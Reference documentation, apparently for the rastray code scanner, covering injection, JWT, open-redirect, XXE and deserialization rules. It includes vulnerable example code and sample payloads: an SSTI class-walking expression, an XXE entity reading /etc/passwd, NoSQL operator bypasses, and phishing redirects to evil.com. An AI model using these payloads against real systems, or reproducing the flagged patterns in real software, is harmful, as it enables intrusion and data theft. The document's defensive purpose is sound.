A Flask handler returns request input as part of the HTTP response
without HTML-escaping it, either by wrapping it in Markup(...) (which
disables Jinja's auto-escaping) or by returning the value as part of a
hand-built HTML string.
The browser parses the response in the application's origin, so any
HTML the attacker submits — including <script> tags or event
handlers — runs there.
Severity
High.
Languages
Python (Flask / Quart).
What rastray flags
@app.route('/echo')
def echo():
return Markup(f'<h1>{request.args["msg"]}</h1>') # ← flagged
@app.route('/raw')
def raw():
return '<p>Hi, ' + request.args['name'] + '</p>' # ← flagged
What rastray deliberately does not flag
return render_template('echo.html', msg=request.args['msg'])— Jinja auto-escapes by default.- Values returned through
jsonify(...)— JSON, not HTML. - Values explicitly passed through
markupsafe.escape(...)first.
How to fix it
Use Jinja templates and let auto-escaping handle the data:
# templates/echo.html
# <h1>{{ msg }}</h1>
@app.route('/echo')
def echo():
return render_template('echo.html', msg=request.args['msg'])
If you need a string response, escape explicitly:
from markupsafe import escape
@app.route('/raw')
def raw():
return f'<p>Hi, {escape(request.args["name"])}</p>'
Markup(...) is the promise "I have already escaped this; treat it
as trusted HTML." Only use it on values you yourself produced from
safe sources.
References
RSTR-XSS-005 — Go HTTP response writes with request input
Summary
A Go HTTP handler writes request-derived data into the response with
fmt.Fprintf, io.WriteString, or w.Write([]byte(...)) — no HTML
escaping in between. The browser receives the attacker's input as part
of an HTML page rendered in the application's origin.
Severity
High.
Languages
Go.
What rastray flags
func hello(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "<h1>Hi %s</h1>",
r.URL.Query().Get("name")) // ← flagged
}
io.WriteString(w, "<p>"+r.FormValue("msg")+"</p>") // ← flagged
What rastray deliberately does not flag
- Writes that go through
html/template(auto-escaping). json.NewEncoder(w).Encode(...)— JSON, not HTML.- Writes of literal strings.
How to fix it
Use html/template — Go's stdlib renderer is context-aware and escapes
correctly per HTML/JS/URL context:
import "html/template"
var helloTmpl = template.Must(template.New("hi").Parse(
`<h1>Hi {{ .Name }}</h1>`))
func hello(w http.ResponseWriter, r *http.Request) {
helloTmpl.Execute(w, struct{ Name string }{r.URL.Query().Get("name")})
}
For one-off writes, escape explicitly:
import "html"
fmt.Fprintf(w, "<p>%s</p>", html.EscapeString(r.FormValue("msg")))
text/template does not escape — use it only for non-HTML output.
References
RSTR-XSS-006 — PHP echo / print of request superglobal
Summary
A PHP page writes $_GET[...], $_POST[...], $_REQUEST[...], or
$_COOKIE[...] directly into the HTTP response via echo, print,
or the short-echo <?= ?> form. No HTML escaping in between — the
attacker's input is parsed as HTML in the page's origin, yielding
reflected (and sometimes stored) XSS.
Severity
High.
Languages
PHP.
What rastray flags
<?php echo $_GET['name']; ?> <!-- ← flagged -->
<?php print "Hello " . $_POST['name']; ?> <!-- ← flagged -->
<p><?= $_REQUEST['msg'] ?></p> <!-- ← flagged -->
What rastray deliberately does not flag
-
Values run through
htmlspecialchars(...)first:<?= htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') ?>The regex deliberately requires the superglobal to appear before any opening
(on the line, so function-wrapped uses are excluded. -
Values rendered through Twig / Blade / Smarty templates with auto-escaping on.
How to fix it
Always escape on output. The canonical helper for HTML context is
htmlspecialchars with ENT_QUOTES and an explicit charset:
<p>Hello, <?= htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') ?>!</p>
For an attribute, the same call works because ENT_QUOTES escapes
both single and double quotes:
<a href="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>">link</a>
For URL contexts (only the path / query of a URL):
<a href="/search?q=<?= rawurlencode($_GET['q']) ?>">search</a>
For JavaScript contexts (a value embedded inside an inline <script>):
<script>
const user = <?= json_encode($_GET['user'], JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>
If your project uses a template engine (Twig, Blade), prefer those: auto-escape is on by default and the per-call helper disappears.
References
RSTR-JWT-001 — alg:none or wildcard algorithms accepted
Summary
The JWT verifier accepts algorithms: ['none'] or
algorithms: ['*']. The none algorithm is the special
JWT value meaning "no signature, trust the payload"; the
* wildcard means "accept whatever algorithm the token's
header claims". Both let an attacker forge a token with any
identity by manipulating the JWT header.
Severity
Critical.
Languages
JavaScript, TypeScript, Python.
How to fix it
Always pass an explicit algorithm list matching what you signed the token with:
jwt.verify(token, secret, { algorithms: ['HS256'] }); // ← good
jwt.decode(token, key, algorithms=['RS256']) # ← good
If you're using asymmetric keys (RS256, ES256) pin to
that specific algorithm. Never include 'none' in the
list, and never include '*'.
References
- CVE-2015-9235: JWT alg=none bypass
- Auth0: JWT handbook (alg confusion section)
- CWE-347: Improper Verification of Cryptographic Signature
RSTR-JWT-002 — JWT verification disabled
Summary
Code decodes a JWT with the signature-verification step explicitly
turned off (verify: false in jsonwebtoken, verify_signature=False
in pyjwt, noVerify: true etc.). The token payload is taken at face
value — anyone can mint a valid-looking JWT by base64-encoding any
JSON they like, and the application treats it as authenticated.
This defeats the entire point of JWT.
Severity
Critical.
Languages
JavaScript, TypeScript, Python.
What rastray flags
Decode/verify calls with the verification flag disabled:
jwt.verify(token, secret, { verify: false }); // ← flagged
jwt.decode(token, { verify: false }); // ← flagged
jwt.decode(token, options={'verify_signature': False}) # ← flagged
What rastray deliberately does not flag
jwt.decode(token)(without any options) — that decodes-without-verifying but is sometimes legitimate for inspecting a token before separately verifying it. Reviewers should still check those manually.jwt.verify(token, secret)with no options object — verification is on by default.
How to fix it
Always verify the signature and pin the expected algorithm(s):
const decoded = jwt.verify(token, PUBLIC_KEY, {
algorithms: ['RS256'],
issuer: 'https://issuer.example.com',
audience: 'my-api',
});
decoded = jwt.decode(
token,
PUBLIC_KEY,
algorithms=['RS256'],
audience='my-api',
issuer='https://issuer.example.com',
)
If you genuinely need the unverified header (e.g. to pick the right
key from a JWKS), use the library's documented "header-only" helper
and still call verify afterwards:
const header = jwt.decode(token, { complete: true }).header;
const key = jwks.getSigningKey(header.kid).publicKey;
const claims = jwt.verify(token, key, { algorithms: ['RS256'] });
References
jsonwebtokensecurity considerations- PyJWT usage notes
- Auth0: critical vulnerabilities in JSON Web Token libraries
- CWE-347: Improper Verification of Cryptographic Signature
RSTR-JWT-003 — hardcoded JWT secret in source
Summary
A JWT signing call uses a literal string as the HMAC secret. As soon as the source or compiled binary leaks (open-sourcing the repo, leaking the artefact, a backup hitting public storage), the secret leaks too — and anyone with the secret can mint valid tokens for any user.
Severity
High.
Languages
JavaScript, TypeScript, Python.
What rastray flags
jwt.sign (Node) / jwt.encode (PyJWT) calls where the second positional
argument is a string literal:
const token = jwt.sign({ sub: user.id }, 'my-super-secret'); // ← flagged
token = jwt.encode({'sub': user.id}, 'my-super-secret',
algorithm='HS256') # ← flagged
What rastray deliberately does not flag
- Secrets read from
process.env/os.environ. - Keys loaded from disk or a secret manager.
- Public/private key arguments (asymmetric tokens) — those are long-lived material and the literal embedding is expected.
How to fix it
Load the secret from the environment or a secret manager:
const secret = process.env.JWT_SECRET;
if (!secret) throw new Error('JWT_SECRET unset');
const token = jwt.sign({ sub: user.id }, secret, {
algorithm: 'HS256',
expiresIn: '15m',
});
import os
SECRET = os.environ['JWT_SECRET']
token = jwt.encode({'sub': user.id}, SECRET, algorithm='HS256')
For higher-stakes systems, switch to asymmetric signatures (RS256,
EdDSA) and keep the private key in a dedicated key-management service
(AWS KMS, HashiCorp Vault, GCP KMS). Verifiers only need the public key.
How to suppress
For unit tests that need a deterministic secret, suppress per-line:
// rastray-ignore: RSTR-JWT-003 — unit-test fixture secret, not production
const token = jwt.sign({ sub: 'u1' }, 'test-secret');
References
RSTR-JWT-004 — verify without explicit algorithms list
Summary
jwt.verify(token, secret) is called without an
algorithms argument. The library will accept whatever
algorithm the token's header field claims, which enables
the alg-confusion attack: an attacker takes the server's
RS256 public key, signs an HS256 token using that public
key as the HMAC secret, sets the header to alg: HS256,
and the library happily verifies the forgery because it
was told "any algorithm is fine".
Severity
High.
Languages
JavaScript, TypeScript, Python.
How to fix it
Always pin the algorithm:
jwt.verify(token, secret, { algorithms: ['HS256'] });
jwt.decode(token, key, algorithms=['RS256'])
For Go's github.com/golang-jwt/jwt, see RSTR-JWT-005
— the equivalent fix happens inside the keyfunc.
References
RSTR-JWT-005 — Go jwt.Parse keyfunc without method validation
Summary
github.com/golang-jwt/jwt's Parse / ParseWithClaims accepts any
signing algorithm the token header claims, including none and
HS256-vs-RS256 confusion attacks. The keyfunc you pass it must
explicitly check token.Method and reject anything except the algorithm
your application actually issues.
If the keyfunc returns the public key without checking — the standard
copy-paste pattern from many tutorials — an attacker can flip the
algorithm to HS256 and forge a token signed with the public key as
the HMAC secret.
Severity
High.
Languages
Go.
What rastray flags
jwt.Parse / jwt.ParseWithClaims calls whose keyfunc returns a key
without first checking token.Method:
token, err := jwt.Parse(raw, func(t *jwt.Token) (interface{}, error) {
return publicKey, nil // ← flagged: no t.Method check
})
What rastray deliberately does not flag
Keyfuncs that validate the signing method first:
token, err := jwt.Parse(raw, func(t *jwt.Token) (interface{}, error) {
if _, ok := t.Method.(*jwt.SigningMethodRSA); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", t.Header["alg"])
}
return publicKey, nil
})
How to fix it
Always assert the concrete SigningMethod type. For RS256:
import "github.com/golang-jwt/jwt/v5"
func verify(raw string) (*jwt.Token, error) {
return jwt.Parse(raw, func(t *jwt.Token) (interface{}, error) {
if _, ok := t.Method.(*jwt.SigningMethodRSA); !ok {
return nil, fmt.Errorf("unexpected alg: %v", t.Header["alg"])
}
return publicKey, nil
}, jwt.WithValidMethods([]string{"RS256"}))
}
jwt.WithValidMethods(...) (v5+) is a second belt-and-suspenders check
that fails earlier than the keyfunc.
References
golang-jwtREADME — security considerations- Auth0: critical vulnerabilities in JSON Web Token libraries
- CWE-347
RSTR-RDR-001 — Express res.redirect(req.x)
Summary
res.redirect(...) is called with a value taken directly
from req.body.*, req.query.*, or req.params.*. An
attacker can craft a link like
https://yoursite.com/go?next=https://evil.com/login —
the URL bar still says yoursite.com, the user clicks the
link from a "trusted" source, gets redirected to evil.com,
sees a copy of the login page, and types their password.
Open redirect is the workhorse of phishing campaigns.
Severity
Medium. Real impact, but lower than direct code-execution
sinks.
How to fix it
Allow-list the targets:
const SAFE_PATHS = new Set(['/dashboard', '/profile', '/settings']);
if (!SAFE_PATHS.has(req.query.next)) {
return res.status(400).send('invalid redirect target');
}
res.redirect(req.query.next);
Or restrict to same-origin redirects with a single leading slash:
const target = req.query.next || '/';
if (!target.startsWith('/') || target.startsWith('//')) {
return res.redirect('/');
}
res.redirect(target);
References
RSTR-RDR-002 — Flask / Django redirect with request input
Summary
A Python web handler redirects the browser to a URL taken directly
from request arguments. An attacker can craft a link such as
https://yoursite/login?next=https://phish.example — the victim sees
a trusted-looking link, clicks, and lands on the attacker's page after
the redirect.
Severity
Medium. Open-redirects amplify phishing and frequently chain into
OAuth-flow takeovers when the redirect target receives a token.
Languages
Python (Flask, Django).
What rastray flags
@app.route('/post-login')
def post_login():
return redirect(request.args['next']) # ← flagged
def view(request):
return HttpResponseRedirect(request.GET['next']) # ← flagged
What rastray deliberately does not flag
redirect(url_for('some_view'))(named URLs).- Redirects to literal strings.
- Redirects passed through
urlsafe_allowed_hosts(...)or any helper that the rule cannot resolve.
How to fix it
Validate the redirect target against an allow-list (relative paths or trusted hosts):
from urllib.parse import urlparse
ALLOWED_HOSTS = {'app.example.com', 'admin.example.com'}
def safe_redirect_target(raw: str) -> str:
parsed = urlparse(raw)
if not parsed.netloc:
return raw # relative path — safe
if parsed.netloc in ALLOWED_HOSTS:
return raw # trusted external host
return '/' # fall back to home
@app.route('/post-login')
def post_login():
return redirect(safe_redirect_target(request.args.get('next', '/')))
Django ships an equivalent helper out of the box —
django.utils.http.url_has_allowed_host_and_scheme — use it on every
next= parameter.
References
RSTR-RDR-003 — Go http.Redirect with request input
Summary
Go counterpart of RSTR-RDR-002. A handler
redirects to a URL read from r.FormValue or r.URL.Query().Get
without checking the host or scheme.
Severity
Medium.
Languages
Go.
What rastray flags
func postLogin(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r,
r.URL.Query().Get("next"), // ← flagged
http.StatusFound)
}
What rastray deliberately does not flag
- Redirects to literal paths.
- Redirects whose target was assembled via
url.URL{Path: ...}from validated components.
How to fix it
Reject absolute URLs and enforce an allow-list:
var allowedHosts = map[string]struct{}{
"app.example.com": {},
}
func safeRedirect(w http.ResponseWriter, r *http.Request, raw string) {
u, err := url.Parse(raw)
if err != nil {
http.Redirect(w, r, "/", http.StatusFound)
return
}
// Relative paths only? Or allow-listed external hosts.
if u.Host == "" || allowedHosts[u.Host] != struct{}{} {
// host empty => relative; or explicitly trusted
} else {
http.Redirect(w, r, "/", http.StatusFound)
return
}
http.Redirect(w, r, raw, http.StatusFound)
}
For most apps the simpler rule — only allow redirects whose target
starts with / and is not // (protocol-relative) — is enough:
target := r.URL.Query().Get("next")
if !strings.HasPrefix(target, "/") || strings.HasPrefix(target, "//") {
target = "/"
}
http.Redirect(w, r, target, http.StatusFound)
References
RSTR-RDR-004 — Rails redirect_to params[:x]
Summary
A Rails controller calls redirect_to with a value taken directly
from params[...]. An attacker submits
?next=https://phish.example and the user sees a trusted-looking
link that lands on the attacker's page after the redirect.
This is the Rails counterpart of
RSTR-RDR-002 (Flask/Django) and
RSTR-RDR-003 (Go).
Recent Rails versions (5.0+) refuse cross-origin redirects by
default (ActionController::Redirecting::UnsafeRedirectError), but
same-origin phishing — /login?next=/admin/transfer?to=evil —
still succeeds. Always validate.
Severity
Medium.
Languages
Ruby (Rails).
What rastray flags
def callback
redirect_to params[:next] # ← flagged
end
redirect_to params[:url] # ← flagged
What rastray deliberately does not flag
Named route helpers and constant strings:
redirect_to dashboard_path # safe
redirect_to user_path(@user) # safe
redirect_to '/login' # safe
Indirect flow (path = params[:next]; redirect_to path) is also not
flagged — the same one-step taint scope used everywhere in rastray.
How to fix it
Allow-list the target. The simplest pattern uses a per-controller helper that returns either a sanitised path or a safe default:
class SessionsController < ApplicationController
def create
# ... authenticate ...
redirect_to safe_next_path
end
private
def safe_next_path
candidate = params[:next].to_s
return dashboard_path if candidate.blank?
# only allow same-origin, leading-slash, non-protocol-relative
uri = URI.parse(candidate) rescue nil
return dashboard_path unless uri && uri.host.nil? && candidate.start_with?('/')
return dashboard_path if candidate.start_with?('//')
candidate
end
end
For redirects to an external site, maintain an explicit allow-list of trusted hosts.
References
RSTR-SSTI-001 — Python render_template_string / Template(req.x)
Summary
User input becomes the template source itself, not the
data rendered by a static template. Jinja2 and the Python
string.Template family give the template author the power
to execute Python expressions; if the attacker writes the
template, the attacker runs Python on the server.
SSTI commonly escalates to remote code execution via the classic payload:
{{ ''.__class__.__mro__[1].__subclasses__() }}
…which walks Python's class hierarchy to find subclasses
like subprocess.Popen and execute shell commands.
Severity
High.
Languages
Python.
What rastray flags
Template(request.x)(constructor takes user input)jinja2.Template(request.x)render_template_string(request.x)(Flask convenience)env.from_string(request.x)(Jinja2 Environment)
How to fix it
Load templates from disk and pass user input as data:
# SAFE — the template is a static file, user input is a variable
return render_template('home.html', name=request.args.get('name'))
{# templates/home.html #}
<h1>Hello, {{ name }}</h1> {# auto-escaped #}
render_template (no _string) is the safe sibling. The
template author and the request submitter must be different
people.
References
- PortSwigger: Server-side template injection
- CVE-2016-10745: Jinja2 SSTI in Flask docs
- Black Hat talk: SSTI in popular template engines
RSTR-SSTI-002 — Node template compile from request input
Summary
A Node template engine (pug, handlebars, ejs, mustache, …)
compiles a template string built from request input. The attacker
controls the template source, not just the data passed into a fixed
template — so they can execute arbitrary code through engine
internals, and SSTI usually escalates straight to RCE.
This is the Node counterpart of RSTR-SSTI-001.
Severity
High.
Languages
JavaScript, TypeScript.
What rastray flags
const tmpl = pug.compile(req.body.template); // ← flagged
handlebars.compile(req.query.body); // ← flagged
ejs.render(req.body.tpl, {}); // ← flagged
What rastray deliberately does not flag
- Rendering a fixed file:
pug.renderFile('views/index.pug', { data }). - Compiling a constant string at module load time.
ejs.render(fixedTemplate, dataFromReq)where the template is a literal.
How to fix it
Templates are code. Treat them like code: ship them with the application, never accept them from clients. Always render a fixed template and pass user input as data:
// templates/email.ejs lives in the repo
const html = await ejs.renderFile(
path.join(__dirname, 'templates/email.ejs'),
{ name: req.body.name, link: req.body.link }
);
If the product really needs user-provided "templates" (mail-merge,
report builder), use a sandboxed micro-syntax — not a full template
engine. Strict mustache (no helpers, no {{{ raw }}}) is the safest
pre-built option.
References
- PortSwigger: Server-side template injection
- OWASP Code Injection
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
RSTR-XXE-001 — Python stdlib XML parsers
Summary
Python's standard-library XML parsers (xml.etree,
xml.sax, xml.dom.minidom) resolve external entities by
default. An attacker can submit XML containing
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
and the parser will fetch the local file (or any
http://-accessible URL) and embed it in the document.
This is XML External Entity injection (XXE) — local-file disclosure, SSRF via entity URIs, and on some configurations DoS via the billion-laughs attack.
Severity
High.
Languages
Python.
How to fix it
Use defusedxml:
import defusedxml.ElementTree as ET
tree = ET.fromstring(payload)
defusedxml is a drop-in replacement that hardens every
stdlib parser. It's the official recommendation in Python's
own documentation.
References
- Python docs: XML vulnerabilities
- defusedxml on PyPI
- OWASP XXE Prevention Cheat Sheet
- CWE-611: XML External Entity Reference
RSTR-XXE-002 — lxml XMLParser(resolve_entities=True)
Summary
lxml.etree.XMLParser is constructed with resolve_entities=True (the
default), so external entities embedded in the parsed XML are resolved.
A malicious document can read local files (file:///etc/passwd) or
make outbound HTTP requests (SSRF) from the parser process.
Severity
High.
Languages
Python.
What rastray flags
from lxml import etree
parser = etree.XMLParser(resolve_entities=True) # ← flagged
tree = etree.fromstring(payload, parser)
parser = etree.XMLParser() # ← flagged (defaults to True)
What rastray deliberately does not flag
etree.XMLParser(resolve_entities=False, no_network=True).defusedxml.lxml.parse(...)/fromstring(...).
How to fix it
Either harden the parser:
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
huge_tree=False,
dtd_validation=False,
load_dtd=False,
)
tree = etree.fromstring(payload, parser)
Or, easier, use defusedxml.lxml:
from defusedxml.lxml import fromstring
tree = fromstring(payload)
defusedxml is the OWASP-recommended drop-in: it disables every
XXE-relevant feature by default and the API mirrors stdlib lxml.
References
RSTR-XXE-003 — libxmljs parseXml(..., { noent: true })
Summary
libxmljs2 (and the original libxmljs) accepts XML with the
noent: true option, which expands external entities. A malicious
document then reads local files or makes outbound requests through the
Node process — same vulnerability class as the lxml variant.
Severity
High.
Languages
JavaScript, TypeScript.
What rastray flags
const libxmljs = require('libxmljs2');
const doc = libxmljs.parseXml(payload, { noent: true }); // ← flagged
What rastray deliberately does not flag
libxmljs.parseXml(payload)(default options —noentisfalse).libxmljs.parseXml(payload, { noent: false }).
How to fix it
Drop the noent: true option:
const doc = libxmljs.parseXml(payload); // entity expansion off by default
If you genuinely need to expand entities from a trusted document (e.g. a build-time XML config you author yourself), keep the option but suppress with a comment explaining provenance:
// rastray-ignore: RSTR-XXE-003 — internal config, never user-supplied
const doc = libxmljs.parseXml(internalCfg, { noent: true });
References
RSTR-XXE-004 — xml2js permissive parser options
Summary
xml2js is configured with explicitArray: false as the only safety
toggle — entity expansion is still on by default. The application is
exposed to billion-laughs DoS and to entity-based data exfiltration
when the upstream library version permits it.
This rule is intentionally narrower than the lxml / libxmljs ones: it flags the "I tweaked parser options for convenience but didn't think about security" pattern.
Severity
Medium.
Languages
JavaScript, TypeScript.
What rastray flags
const parser = new xml2js.Parser({ explicitArray: false }); // ← flagged
parser.parseString(payload, cb);
What rastray deliberately does not flag
new xml2js.Parser()with default options.Parserconstructions whereexplicitCharkey: trueand explicit entity-handling options are also set.
How to fix it
Switch to a parser with safer defaults (fast-xml-parser, which
disables entity expansion) or validate the input before parsing:
import { XMLParser } from 'fast-xml-parser';
const parser = new XMLParser({
ignoreAttributes: false,
processEntities: false, // explicitly off
});
const json = parser.parse(payload);
If you must keep xml2js, add an upstream size/depth limit (HTTP body
limit, a regex-based reject for <!DOCTYPE/<!ENTITY blocks) and
suppress with a comment noting the mitigation.
References
fast-xml-parserdocs- OWASP XXE Prevention Cheat Sheet
- CWE-776: Improper Restriction of Recursive Entity References (Billion Laughs)
RSTR-XXE-005 — Java XML factory without entity hardening
Summary
DocumentBuilderFactory, SAXParserFactory, or XMLInputFactory is
constructed without disabling external entities and DTD processing.
The defaults vary by JDK version and parser implementation; the OWASP
guidance is to set the hardening features explicitly so the code is
safe regardless of where it runs.
Severity
High.
Languages
Java.
What rastray flags
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // ← flagged
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
SAXParserFactory spf = SAXParserFactory.newInstance(); // ← flagged
SAXParser sp = spf.newSAXParser();
XMLInputFactory xif = XMLInputFactory.newInstance(); // ← flagged
What rastray deliberately does not flag
- Factories where every hardening feature (see below) is set.
XMLConstants.FEATURE_SECURE_PROCESSINGenabled and DTD/entity features explicitly disabled.
How to fix it
Apply OWASP's hardening recipe before parsing:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
For SAXParserFactory, set the same disallow-doctype-decl feature.
For XMLInputFactory:
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
If your project already wraps factory construction in a helper, run
rastray against just the helper and suppress callers.
References
RSTR-NOSQLI-001 — Mongo find / update with req.body object
Summary
A MongoDB query is built by passing an object straight from
req.body / req.query / req.params into the filter
position of .find(...), .findOne(...), .updateOne(...),
etc. An attacker who submits JSON instead of the expected
form data (e.g. {"user": {"$gt": ""}} instead of
{"user": "alice"}) can use MongoDB's query operators
($gt, $ne, $regex, $where) to bypass authentication
or extract every document.
Severity
High.
Languages
JavaScript / TypeScript.
How to fix it
Coerce every value to its expected primitive type:
// SAFE — even if req.body.user is `{"$gt": ""}`, String()
// flattens it to '[object Object]' which matches nothing.
users.findOne({ user: String(req.body.user) });
Or validate with a schema:
import { z } from 'zod';
const Q = z.object({ user: z.string() });
const { user } = Q.parse(req.body);
users.findOne({ user });
References
- OWASP: NoSQL injection
- Snyk: How NoSQL injection works
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
RSTR-NOSQLI-002 — Mongo $where with request input
Summary
$where in MongoDB lets the caller supply a JavaScript
function that runs server-side inside the database
process for every document. If the value of $where comes
from request input, the attacker can run arbitrary
JavaScript — essentially remote code execution in the
database process.
Severity
Critical. This is RCE, not just data exposure.
Languages
JavaScript / TypeScript.
How to fix it
Don't use $where. Refactor to a structured filter
expression that uses standard MongoDB operators:
// BAD: $where with user input — RCE
users.find({ $where: `this.balance > ${req.query.min}` });
// GOOD: structured filter
users.find({ balance: { $gt: Number(req.query.min) } });
If you genuinely need $where-level expressiveness, ask
why — almost every legitimate use can be rewritten as a
combination of $expr, $lookup, $elemMatch, etc., none
of which evaluate user JavaScript.
References
RSTR-NOSQLI-003 — PyMongo filter built from request.*
Summary
A PyMongo query is built by passing a request-derived dict (or request.json,
request.form, request.values) directly as the filter argument. An
attacker who submits {"$gt": ""} instead of a string causes the filter
to match every document — bypassing intended access controls.
This is the Python counterpart of RSTR-NOSQLI-001.
Severity
High.
Languages
Python (PyMongo / Motor).
What rastray flags
db.users.find_one(request.json) # ← flagged
db.posts.update_one(request.form, {'$set': ...}) # ← flagged
What rastray deliberately does not flag
- Filters constructed from individual fields:
db.users.find_one({'_id': ObjectId(request.json['id'])}). - Filters built after
marshmallow/pydanticschema validation.
How to fix it
Validate and coerce inputs before building the filter. With pydantic:
from pydantic import BaseModel
from bson import ObjectId
class UserQuery(BaseModel):
id: str
email: str | None = None
@app.post('/users')
def find_user(q: UserQuery = Depends(...)):
return db.users.find_one({
'_id': ObjectId(q.id),
'email': q.email,
})
Plain dict construction also works as long as each field comes through a per-field coercion (string, int, etc.) — the rule fires precisely because passing the entire request object lets operator keys through.
References
- PyMongo: query operators
- OWASP NoSQL Injection
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
RSTR-DES-001 — Python pickle.loads on untrusted input
Summary
pickle.loads (and Unpickler.load) deserializes arbitrary Python
objects, including ones whose constructors execute side-effectful
code. A pickle byte string is a program; the only safe input is
data you yourself produced and stored in a location only you can write
to. From the network, from a database row a user wrote, from a file
upload — never.
This is the single most common Python RCE primitive.
Severity
Critical.
Languages
Python.
What rastray flags
import pickle
obj = pickle.loads(request.data) # ← flagged
obj = pickle.load(open('user_uploaded.pkl', 'rb')) # ← flagged
from pickle import Unpickler
obj = Unpickler(stream).load() # ← flagged
What rastray deliberately does not flag
json.loads(...),tomllib.loads(...),msgpack.unpackb(...)— data-only formats.dill,cloudpickle— also unsafe (same primitive); they have separate rules.
How to fix it
For data interchange, use JSON or MessagePack. For storing typed
Python objects, use pydantic / attrs / dataclasses with explicit
from_dict constructors:
import json
from pydantic import BaseModel
class Job(BaseModel):
id: str
payload: dict
job = Job.model_validate_json(request.data)
If you absolutely must use pickle (long-lived internal cache, no external surface), sign the payload with HMAC-SHA-256 and verify before unpickling. That moves the threat model from "anyone with write access to the channel can RCE you" to "anyone with the HMAC key can RCE you" — better, but still demand a real reason.
References
RSTR-DES-002 — Python yaml.load without SafeLoader
Summary
PyYAML's yaml.load(stream) (with no explicit Loader) constructs
arbitrary Python objects from the document — including ones whose
__reduce__ runs os.system('rm -rf /'). The CVE-2017-18342 advisory
made yaml.load issue a warning, and recent PyYAML releases require
an explicit loader, but legacy code still triggers the trap.
Severity
High.
Languages
Python.
What rastray flags
import yaml
cfg = yaml.load(open('config.yaml')) # ← flagged
cfg = yaml.load(request.data) # ← flagged
What rastray deliberately does not flag
yaml.safe_load(...).yaml.load(stream, Loader=yaml.SafeLoader).yaml.load(stream, Loader=yaml.CSafeLoader).
How to fix it
yaml.safe_load is a drop-in replacement that returns only Python
primitives (dicts, lists, strings, ints, floats, bools, None):
import yaml
cfg = yaml.safe_load(open('config.yaml'))
If the YAML document is supposed to encode richer types (sets,
ordered dicts), define a custom SafeLoader subclass that explicitly
registers only the constructors you want. Never reach for
FullLoader or UnsafeLoader on untrusted input.
rastray --fix --yes auto-rewrites yaml.load(x) → yaml.safe_load(x).
References
RSTR-DES-003 — Python marshal.loads on untrusted input
Summary
marshal is a Python-internal serializer used by the compiler for
.pyc files. It is not a general-purpose data format and the docs
explicitly warn against using it on untrusted input — marshal.loads
can construct code objects which exec will then execute.
Severity
Critical.
Languages
Python.
What rastray flags
import marshal
obj = marshal.loads(request.data) # ← flagged
obj = marshal.load(open('payload.bin', 'rb')) # ← flagged
What rastray deliberately does not flag
- Reads of
.pycfiles by the import system (handled internally; the rule fires on user-levelmarshal.load(s)calls). json.loads,tomllib.loads,msgpack.unpackb.
How to fix it
Use a data format. JSON for short data, MessagePack or CBOR for binary, Protocol Buffers or Cap'n Proto for schemas. None of those can construct executable Python objects.
import json
obj = json.loads(request.data)
There is no safe-mode marshal. If you find marshal in production
code outside the import machinery, treat the discovery as a P0 and
replace.
References
RSTR-DES-004 — Node node-serialize unserialize
Summary
The node-serialize package's unserialize function explicitly
documents that it executes embedded JavaScript when the payload
contains an IIFE. CVE-2017-5941 demonstrated remote code execution
with a one-line payload. The package is unmaintained; using it on
untrusted input is direct RCE.
Severity
Critical.
Languages
JavaScript, TypeScript.
What rastray flags
const serialize = require('node-serialize');
const obj = serialize.unserialize(req.body.payload); // ← flagged
import { unserialize } from 'node-serialize';
const obj = unserialize(rawString); // ← flagged
What rastray deliberately does not flag
JSON.parse(...)— data only.structuredClone(...)— structured-clone algorithm, no code paths.msgpack.decode(...)/cbor.decode(...).
How to fix it
Stop using node-serialize. For trusted data, JSON.stringify /
JSON.parse round-trips primitives, arrays, and plain objects. For
binary or richer types, use MessagePack or CBOR.
// Bad
const obj = serialize.unserialize(blob);
// Good (for any data-only use)
const obj = JSON.parse(blob);
Remove node-serialize from package.json and audit transitive
dependencies (npm ls node-serialize) — old build tools sometimes
still pull it in.
References
RSTR-DES-005 — Ruby Marshal.load
Summary
Marshal.load (and the alias Marshal.restore) deserializes Ruby
objects from a binary blob, and the deserializer will invoke
attacker-controlled object initializers (_load, marshal_load,
initialize_copy). Famous Rails gadget chains turn a single
Marshal.load of attacker bytes into full RCE.
Severity
Critical.
Languages
Ruby.
What rastray flags
data = Marshal.load(request.body.read) # ← flagged
data = Marshal.restore(File.binread('cache.bin')) # ← flagged
What rastray deliberately does not flag
JSON.parse(...),Psych.safe_load(...),MessagePack.unpack(...).
How to fix it
Use JSON (or MessagePack for binary):
data = JSON.parse(request.body.read, symbolize_names: true)
If you must use Marshal for a closed internal channel (Rails
Marshal-backed cache), sign the blob with HMAC-SHA-256 and verify
before unmarshalling. Even then, the surface is large enough that
swapping to JSON or Psych.safe_load is usually cheaper than
maintaining the signing harness.
References
RSTR-DES-006 — Java ObjectInputStream.readObject
Summary
Native Java deserialization (ObjectInputStream.readObject) walks the
attacker-controlled byte stream and instantiates whatever classes it
names, invoking their readObject / readResolve hooks. The
notorious CVE-2015-7501 (Apache Commons Collections) chained a
small number of common gadgets into JVM-wide RCE; the pattern has been
re-used against countless Java apps since.
Severity
Critical.
Languages
